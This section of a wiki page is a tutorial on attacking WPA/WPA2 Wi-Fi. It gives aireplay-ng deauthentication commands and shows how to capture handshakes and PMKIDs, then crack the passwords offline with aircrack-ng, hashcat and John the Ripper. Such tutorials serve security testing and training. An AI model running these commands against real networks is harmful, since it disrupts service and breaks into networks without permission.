Editing WiFi Hacking (section)

=WPA/2=
Sometimes waiting is just not what we want to do. If the AP has clients, you can run a DeAuth attack on them with aireplay:
    aireplay-ng -0 1 -a XXXSTATIONBSSIDXXX -c XXCLIENTBSSIDXX wlan1mon
If successful, you'll see some ACKs in the output, unsuccessful will be 0|64 while successfull will be something like 7|64

Not nearly as effective, but you can DeAuth the broadcast and go for all clients on an AP:
    aireplay-ng --deauth 100 -a XXSTATIONBSSIDXX wlan1mon

==Handshake Captured==
After the handshake is captured, you can try cracking it a few different ways:

* By using only your CPU and a dictionary, can be slow
    aircrack-ng -w wordlist.dic -b XXXSTATIONBSSIDXXX target.cap
* By using your GPU with haschat and a dictionary, much faster
    cap2hccapx input.cap output.hccapx
    hashcat -m 2500 capfile.hccapx dictionary.txt
* By using John the Ripper and a dictionary, can be slow
    aircrack-ng input.cap -J output
    john -w=dictionary.txt output.hccap
    john -w=dictionary.txt -form=wpapsk-opencl output.hccap
* By using John the Ripper and NO Dictionary, VERY SLOW
    More info later, or see [[John the Ripper]]

==PMKID==
PMKID is an optional flag some AP manufacturers will use, this is another attack vector we can try that does not require the deauth attack. Here we will use hcxtools to grab the pmkid's floating around. 

* I found it easiest to narrow down by channel and use
    hcxdumptool -i wlan1mon -o channel1.pcapng --enable_status=1 -c 1
* After this I converted to a format aircrack would read with 
    tcpdump -r channel1.pcapng -w channel1.pcap
* Running aircrack-ng with that file will give an output of handshakes found, identify the ones with PMKID and make note of their BSSID/ESSID
* You can continue trying to crack with aircrack and a dictionary, but it is slow
    aircrack-ng -w wordlist channel1.pcap
* Or you can convert the file to something hashcat can use
    hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapng
    hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'